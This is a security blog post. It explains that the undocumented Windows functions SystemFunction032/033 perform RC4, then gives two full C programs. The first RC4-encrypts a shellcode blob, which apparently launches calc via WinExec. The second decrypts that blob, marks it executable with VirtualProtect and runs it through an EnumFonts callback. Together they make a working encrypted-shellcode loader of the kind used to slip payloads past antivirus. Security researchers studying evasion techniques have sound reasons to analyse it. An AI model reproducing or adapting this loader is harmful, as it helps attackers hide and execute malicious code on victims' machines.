After a while, I’m publishing a blog post which made me interested. With the recent tweets about the undocumented SystemFunction032
Win32 API function, I decided to quickly have a look at it. The first thing I noted after Googling this function was the source code from ReactOS. Seems like other SystemFunctions from 001 got other cryptographic functions and hash functions. The SystemFunction032
is an RC4 implementation. This API is in the export table of Advapi32.dll
The export table entry points to the DLL Cryptsp.dll
which actually has the function implemented and exported.
Inside the Cryptsp.dll
as you can see the SystemFunction032
and SystemFunction033
point to the same offset, which means loading either of these functions will do the same RC4 encryption.
This is the disassembly of the function which does the RC4 encryption. It takes in the data and key structs as parameters.
Upon reviewing the ReactOS source code, it is quite straightforward to implement this in C and get our shellcode encrypted/decrypted.
I wrote a quick C program to encrypt a given shellcode.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
#include <windows.h> #include <stdio.h> typedef NTSTATUS(WINAPI* _SystemFunction033)( struct ustring *memoryRegion, struct ustring *keyPointer); struct ustring { DWORD Length; DWORD MaximumLength; PUCHAR Buffer; } _data, key; int main() { printf("[*] RC4 Shellcode Encrypter using Systemfunction032/033\n"); puts("[*] Coded by: @OsandaMalith - www.osandamalith.com"); _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033"); char _key[] = "www.osandamalith.com"; unsigned char shellcode[] = { 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7 }; key.Buffer = (PUCHAR)(&_key); key.Length = sizeof key; _data.Buffer = (PUCHAR)shellcode; _data.Length = sizeof shellcode; SystemFunction033(&_data, &key); printf("\nunsigned char shellcode[] = { "); for (size_t i = 0; i < _data.Length; i++) { if (!(i % 16)) printf("\n "); printf("0x%02x, ", _data.Buffer[i]); if(i == _data.Length-1) printf("0x%02x };", _data.Buffer[i]); } } |
Once the encrypted shellcode is obtained the below can be used to decrypt and execute the shellcode.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
#include <windows.h> /* * RC4 Shellcode Decrypter using Systemfunction032/033 * Coded by: @OsandaMalith - www.osandamalith.com */ typedef NTSTATUS(WINAPI* _SystemFunction033)( struct ustring *memoryRegion, struct ustring *keyPointer); struct ustring { DWORD Length; DWORD MaximumLength; PUCHAR Buffer; } _data, key; int main() { _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033"); char _key[] = "www.osandamalith.com"; unsigned char shellcode[] = { 0x5f, 0xfc, 0xb3, 0x2c, 0x87, 0xd5, 0xc1, 0xe8, 0x2b, 0xac, 0x12, 0x8f, 0x00, 0x5e, 0xef, 0xd3, 0xd6, 0x3a, 0x04, 0x80, 0x05, 0xa1, 0x43, 0x45, 0x6a, 0xce, 0x2c, 0xf9, 0x58, 0x0f, 0x34, 0xdf, 0xf8, 0x8b, 0x78, 0x63, 0xb4, 0x7a, 0xba, 0x5d, 0xdf, 0x14, 0x4f, 0x6b, 0xbf, 0xcd, 0x04, 0x44, 0x53, 0x2f, 0x35, 0x15, 0x75, 0x56, 0x6a, 0xb6, 0xab, 0xd3, 0x7b, 0xcc, 0x03, 0xb6, 0x16, 0x4f, 0x4b, 0x30, 0x01, 0x57, 0x58, 0xd8, 0xd0, 0x0b, 0x0b, 0xa0, 0xa1, 0x66, 0x98, 0x83, 0x7e, 0xdb, 0x0d, 0x1a, 0x08, 0x41, 0x62, 0x62 }; key.Buffer = (PUCHAR)(&_key); key.Length = sizeof key; _data.Buffer = (PUCHAR)shellcode; _data.Length = sizeof shellcode; SystemFunction033(&_data, &key); DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char*)shellcode, 0); } |